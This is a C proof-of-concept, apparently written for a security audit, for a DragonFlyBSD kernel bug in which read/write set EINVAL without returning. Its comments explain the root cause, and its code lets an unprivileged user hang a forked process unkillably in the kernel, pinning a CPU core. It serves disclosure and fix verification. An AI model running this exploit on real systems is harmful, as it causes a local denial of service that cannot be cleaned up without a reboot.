DF-0023 / einval_noop.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | /* * DF-0023 PoC - missing return after EINVAL makes the nbyte>SSIZE_MAX guard * a no-op in sys_read / sys_write / sys_extpwrite. * * sys_read (sys/kern/sys_generic.c:130-131), sys_write (:336-337) and * sys_extpwrite (:368-369) do: * if ((ssize_t)uap->nbyte < 0) error = EINVAL; // NO return * The dead-stored EINVAL is overwritten by the subsequent kern_preadv/ * kern_pwritev call, so passing nbyte with bit 63 set (> SSIZE_MAX) is NOT * rejected. The sibling sys_extpread (:161-162) implements the same check * correctly as `return(EINVAL);`, proving intent. * * OBSERVED IMPACT (stronger than the Info rating suggests): * - read(/dev/null, buf, SIZE_MAX) -> returns 0, errno=0 (should be EINVAL) * - write(/dev/null, buf, SSIZE_MAX+1) -> HANGS in an infinite, UNINTERRUPTIBLE * kernel loop. Root cause chain: huge nbyte reaches kern_memio.c:mmrw(); * there `u_int c` (32-bit, line 225) is assigned `c = iov->iov_len` * (size_t 64-bit = 0x8000000000000000) => c truncated to 0; then * uio_resid -= 0 never decreases and the `while (uio_resid > 0)` loop * (line 232) spins forever. kill -9 cannot reap the process (it never * leaves the kernel to take the signal). This is a local DoS: any * unprivileged user can permanently pin a CPU core with an unkillable * process. * * This PoC forks a child for the write() case so the PARENT survives to * report the hang; the child is deliberately orphaned in the kernel loop * (it cannot be killed - that itself is part of the evidence). * * Build (DragonFlyBSD): cc -o einval_noop einval_noop.c * Run as an UNPRIVILEGED user. * * Expected (bug present): * read(fd,buf,SIZE_MAX) = 0, errno=0 (NOT EINVAL) <-- EINVAL bypass * write child PID <n>: hung in kernel (DoS, kill -9 no-op) * Expected (fixed): read returns -1 errno=EINVAL; write child exits -1 EINVAL. */ #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <signal.h> #include <sys/wait.h> int main(void) { int fd = open("/dev/null", O_RDWR); if (fd < 0) { perror("open"); return 1; } char buf[16]; /* ---- READ path: shows the EINVAL guard is a no-op ---- */ errno = 0; ssize_t r = read(fd, buf, (size_t)-1); /* SIZE_MAX -> >SSIZE_MAX */ int e = errno; printf("read(fd,buf,SIZE_MAX) = %zd, errno=%d (%s)\n", r, e, e == EINVAL ? "EINVAL" : "NOT EINVAL"); fflush(stdout); if (r == -1 && e == EINVAL) { printf("[note] read already returns EINVAL on this kernel " "(maybe fixed); skipping write-hang probe.\n"); return 0; } /* ---- WRITE path: demonstrates the DoS via a forked child ---- * The child calls write(nbyte = SSIZE_MAX+1) and never returns. * Parent waits a few seconds; if the child is still alive the bug * is confirmed. We do NOT try to reap it (it cannot be killed). */ pid_t pid = fork(); if (pid == 0) { /* child: alarm as a backstop in case the kernel is fixed */ alarm(8); size_t n = (size_t)1 << (sizeof(size_t) * 8 - 1); /* 0x8000...0 */ errno = 0; ssize_t w = write(fd, buf, n); e = errno; /* If we reach here on a FIXED kernel, write returned EINVAL. */ _exit(w < 0 ? (e > 0 && e < 256 ? e : 1) : 0); } if (pid < 0) { perror("fork"); return 1; } printf("write child PID %d: probing write(fd,buf,SSIZE_MAX+1)...\n", (int)pid); fflush(stdout); sleep(4); /* give the child time to wedge (or exit) */ int status; pid_t w = waitpid(pid, &status, WNOHANG); if (w == 0) { printf("write child PID %d: HUNG in kernel after 4s " "(DoS - uninterruptible infinite loop in mmrw)\n", (int)pid); /* try to kill it to PROVE it's unkillable */ if (kill(pid, SIGKILL) == 0) { sleep(1); pid_t w2 = waitpid(pid, &status, WNOHANG); printf("after SIGKILL: child %s (unkillable in kernel loop)\n", w2 == 0 ? "STILL ALIVE" : "reaped"); } fflush(stdout); /* leave the orphaned child wedged - it cannot be cleaned up; * this is part of the DoS evidence. */ } else if (w == pid) { printf("write child exited: status=0x%x (write returned, " "errno path)\n", status); } return 0; } |